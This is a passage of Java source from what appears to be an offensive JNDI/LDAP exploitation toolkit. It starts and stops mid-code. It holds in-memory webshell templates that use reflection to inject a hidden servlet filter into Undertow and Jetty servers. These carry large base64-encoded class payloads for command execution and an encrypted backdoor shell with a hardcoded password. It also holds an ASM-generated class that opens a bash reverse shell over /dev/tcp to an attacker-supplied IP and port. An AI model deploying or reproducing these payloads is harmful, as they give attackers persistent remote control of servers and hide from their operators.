ALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=";
byte[] bytes = base64Decoder.decodeBuffer(codeClass);
Method method = null;
Class clz = cl.getClass();
while(method == null && clz != Object.class ){
try{
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
}catch(NoSuchMethodException ex){
clz = clz.getSuperclass();
}
}
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
}
FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory<Filter>(clazz.getDeclaredConstructor()));
deploymentInfo.addFilter(filter);
f = context.getClass().getDeclaredField("deployment");
f.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
DeploymentImpl deployment = (DeploymentImpl)f.get(context);
deployment.getFilters().addFilter(filter);
// 0 表示把我们动态注册的 filter 放在第一位
deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST);
}
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java
================================================
package com.feihong.ldap.template;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.EnumSet;
import java.util.Set;
public class JettyMemshellTemplate extends AbstractTranslet {
public JettyMemshellTemplate(){
try{
String filterName = "dynamicFilter";
String urlPattern = "/*";
JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mBeanServer);
field = obj.getClass().getDeclaredField("repository");
field.setAccessible(true);
Field modifier = field.getClass().getDeclaredField("modifiers");
modifier.setAccessible(true);
modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
Repository repository = (Repository)field.get(obj);
Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
for(NamedObject namedObject : namedObjectSet){
try{
field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
field.setAccessible(true);
modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
Object webAppContext = field.get(namedObject.getObject());
field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
Object handler = field.get(webAppContext);
field = handler.getClass().getDeclaredField("_filters");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(handler);
boolean flag = false;
for(Object o : objects){
field = o.getClass().getSuperclass().getDeclaredField("_name");
field.setAccessible(true);
String name = (String)field.get(o);
if(name.equals(filterName)){
flag = true;
break;
}
}
if(!flag){
System.out.println("[+] Add Dynamic Filter");
ClassLoader classLoader = handler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL);
Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(handler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
try{
clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate");
}catch(ClassNotFoundException e){
BASE64Decoder base64Decoder = new BASE64Decoder();
String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=";
byte[] bytes = base64Decoder.decodeBuffer(codeClass);
Method method = null;
Class clz = cl.getClass();
while(method == null && clz != Object.class ){
try{
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
}catch(NoSuchMethodException ex){
clz = clz.getSuperclass();
}
}
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
}
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, clazz.newInstance());
handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder);
clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
// prependFilterMapping 会自动把 filter 加到最前面
handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping);
}
}catch(Exception e){
//pass
}
}
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/MyClassLoader.java
================================================
package com.feihong.ldap.template;
public class MyClassLoader extends ClassLoader {
MyClassLoader(ClassLoader c){super(c);}
public static Class defineClass(byte[] bytes, ClassLoader classLoader){
return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java
================================================
package com.feihong.ldap.template;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Util;
import org.objectweb.asm.*;
import java.io.FileOutputStream;
import static org.objectweb.asm.Opcodes.*;
public class ReverseShellTemplate implements Template {
private String className;
private byte[] bytes;
private String ip;
private int port;
public ReverseShellTemplate(String ip, String port){
this(ip, Integer.parseInt(port));
}
public ReverseShellTemplate(String ip, int port){
this.ip = ip;
this.port = port;
this.className = "Exploit" + Util.getRandomString();
generate();
}
public ReverseShellTemplate(String ip, String port, String className){
this(ip, Integer.parseInt(port));
this.className = className;
generate();
}
@Override
public String getClassName(){
return className;
}
@Override
public byte[] getBytes() {
return bytes;
}
@Override
public void cache() {
Cache.set(className, bytes);
}
@Override
public void generate() {
ClassWriter cw = new ClassWriter(0);
FieldVisitor fv;
MethodVisitor mv;
AnnotationVisitor av0;
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
{
fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null);
fv.visitEnd();
}
{
fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null);
fv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
Label l1 = new Label();
Label l2 = new Label();
mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
Label l3 = new Label();
mv.visitLabel(l3);
mv.visitLineNumber(12, l3);
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
Label l4 = new Label();
mv.visitLabel(l4);
mv.visitLineNumber(13, l4);
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
mv.visitLdcInsn("/");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
Label l5 = new Label();
mv.visitJumpInsn(IFEQ, l5);
Label l6 = new Label();
mv.visitLabel(l6);
mv.visitLineNumber(14, l6);
mv.visitInsn(ICONST_3);
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
mv.visitInsn(DUP);
mv.visitInsn(ICONST_0);
mv.visitLdcInsn("/bin/bash");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_1);
mv.visitLdcInsn("-c");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_2);
mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
mv.visitInsn(AASTORE);
mv.visitVarInsn(ASTORE, 1);
mv.visitLabel(l0);
mv.visitLineNumber(16, l0);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(ALOAD, 1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(POP);
mv.visitLabel(l1);
mv.visitLineNumber(19, l1);
mv.visitJumpInsn(GOTO, l5);
mv.visitLabel(l2);
mv.visitLineNumber(17, l2);
mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"});
mv.visitVarInsn(ASTORE, 2);
Label l7 = new Label();
mv.visitLabel(l7);
mv.visitLineNumber(18, l7);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
mv.visitLabel(l5);
mv.visitLineNumber(22, l5);
mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
mv.visitInsn(RETURN);
Label l8 = new Label();
mv.visitLabel(l8);
mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2);
mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1);
mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0);
mv.visitMaxs(4, 3);
mv.visitEnd();
}
{
